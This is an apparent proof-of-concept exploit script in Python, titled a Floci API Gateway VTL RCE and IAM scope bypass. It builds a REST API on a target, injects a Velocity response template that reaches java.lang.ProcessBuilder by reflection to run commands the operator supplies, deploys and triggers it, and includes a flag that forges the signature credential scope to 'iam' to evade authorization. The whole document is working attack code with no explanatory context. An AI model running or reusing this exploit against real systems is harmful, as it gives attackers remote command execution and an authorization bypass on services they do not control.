Floci API Gateway VTL RCE + IAM Scope Bypass

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import argparse
import json
import sys
import time
import urllib.error
import urllib.request


def request_json(method, base_url, path, body=None, authorization=None):
    data = None
    headers = {"Accept": "application/json"}
    if body is not None:
        data = json.dumps(body).encode()
        headers["Content-Type"] = "application/json"
    if authorization is not None:
        headers["Authorization"] = authorization
    req = urllib.request.Request(base_url + path, data=data, headers=headers, method=method)
    try:
        with urllib.request.urlopen(req, timeout=15) as resp:
            raw = resp.read().decode("utf-8", errors="replace")
            status = resp.status
    except urllib.error.HTTPError as exc:
        raw = exc.read().decode("utf-8", errors="replace")
        status = exc.code
    try:
        parsed = json.loads(raw) if raw else None
    except json.JSONDecodeError:
        parsed = None
    return status, raw, parsed


def require(result, expected, action):
    status, raw, parsed = result
    if status != expected:
        raise RuntimeError(f"{action} failed: HTTP {status}: {raw[:500]}")
    if not isinstance(parsed, dict):
        raise RuntimeError(f"{action} returned non-object JSON: {raw[:500]}")
    return parsed


def vtl_string(value):
    return value.replace("\\", "\\\\").replace("'", "\\'")


def payload(argv):
    command_json = json.dumps(argv, separators=(",", ":"))
    return (
        "#set($pbClass=$util.getClass().forName('java.lang.ProcessBuilder'))\n"
        "#set($listClass=$util.getClass().forName('java.util.List'))\n"
        "#set($ctor=$pbClass.getConstructor($listClass))\n"
        f"#set($cmd=$util.parseJson('{vtl_string(command_json)}'))\n"
        "#set($pb=$ctor.newInstance($cmd))\n"
        "#set($p=$pb.start())\n"
        "#set($exit=$p.waitFor())\n"
        '{"ok":true,"exit":"$exit"}'
    )


def sigv4_authorization(access_key, date, region, scope, signature):
    return (
        f"AWS4-HMAC-SHA256 Credential={access_key}/{date}/{region}/{scope}/aws4_request, "
        f"SignedHeaders=host, Signature={signature}"
    )


def control_plane_authorization(args):
    if args.authorization:
        return args.authorization
    if args.bypass_iam and not args.auth_access_key:
        raise ValueError("--bypass-iam requires --auth-access-key or --authorization")
    if not args.auth_access_key:
        return None
    scope = "iam" if args.bypass_iam else args.auth_scope
    return sigv4_authorization(args.auth_access_key, args.auth_date, args.auth_region, scope, args.auth_signature)


def exploit(base_url, argv, cleanup, authorization):
    stamp = str(int(time.time()))
    template = payload(argv)
    api = require(request_json("POST", base_url, "/restapis", {"name": f"vtl-rce-{stamp}"}, authorization), 201, "create REST API")
    api_id = api["id"]
    print(f"[+] REST API id: {api_id}")
    resources = require(request_json("GET", base_url, f"/restapis/{api_id}/resources", authorization=authorization), 200, "list resources")
    root_id = resources["item"][0]["id"]
    resource = require(request_json("POST", base_url, f"/restapis/{api_id}/resources/{root_id}", {"pathPart": "rce"}, authorization), 201, "create resource")
    resource_id = resource["id"]
    print(f"[+] Resource id: {resource_id}")
    require(request_json("PUT", base_url, f"/restapis/{api_id}/resources/{resource_id}/methods/GET", {"authorizationType": "NONE"}, authorization), 201, "create method")
    require(request_json("PUT", base_url, f"/restapis/{api_id}/resources/{resource_id}/methods/GET/responses/200", {"responseParameters": {}}, authorization), 201, "create method response")
    require(
        request_json(
            "PUT",
            base_url,
            f"/restapis/{api_id}/resources/{resource_id}/methods/GET/integration",
            {"type": "MOCK", "requestTemplates": {"application/json": '{"statusCode": 200}'}},
            authorization,
        ),
        201,
        "create integration",
    )
    require(
        request_json(
            "PUT",
            base_url,
            f"/restapis/{api_id}/resources/{resource_id}/methods/GET/integration/responses/200",
            {"selectionPattern": "", "responseTemplates": {"application/json": template}},
            authorization,
        ),
        201,
        "create integration response",
    )
    deployment = require(request_json("POST", base_url, f"/restapis/{api_id}/deployments", {"description": "vtl-rce"}, authorization), 201, "create deployment")
    deployment_id = deployment["id"]
    require(request_json("POST", base_url, f"/restapis/{api_id}/stages", {"stageName": "prod", "deploymentId": deployment_id}, authorization), 201, "create stage")
    status, raw, parsed = request_json("GET", base_url, f"/execute-api/{api_id}/prod/rce")
    if status != 200:
        raise RuntimeError(f"trigger failed: HTTP {status}: {raw[:500]}")
    print(f"[+] Trigger response: {raw.strip()}")
    if cleanup:
        deleted = request_json("DELETE", base_url, f"/restapis/{api_id}", authorization=authorization)
        print(f"[+] Cleanup delete REST API: HTTP {deleted[0]}")
    return parsed


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", required=True)
    parser.add_argument("--port", required=True, type=int)
    parser.add_argument("--scheme", default="http", choices=("http", "https"))
    parser.add_argument("--argv", nargs="+", required=True)
    parser.add_argument("--no-cleanup", action="store_true")
    parser.add_argument("--authorization")
    parser.add_argument("--auth-access-key")
    parser.add_argument("--auth-date", default="20260623")
    parser.add_argument("--auth-region", default="us-east-1")
    parser.add_argument("--auth-scope", default="apigateway")
    parser.add_argument("--auth-signature", default="test")
    parser.add_argument("--bypass-iam", action="store_true")
    args = parser.parse_args()
    try:
        authorization = control_plane_authorization(args)
        exploit(f"{args.scheme}://{args.host}:{args.port}", args.argv, not args.no_cleanup, authorization)
        return 0
    except Exception as exc:
        print(f"[-] {exc}", file=sys.stderr)
        return 1


if __name__ == "__main__":
    raise SystemExit(main())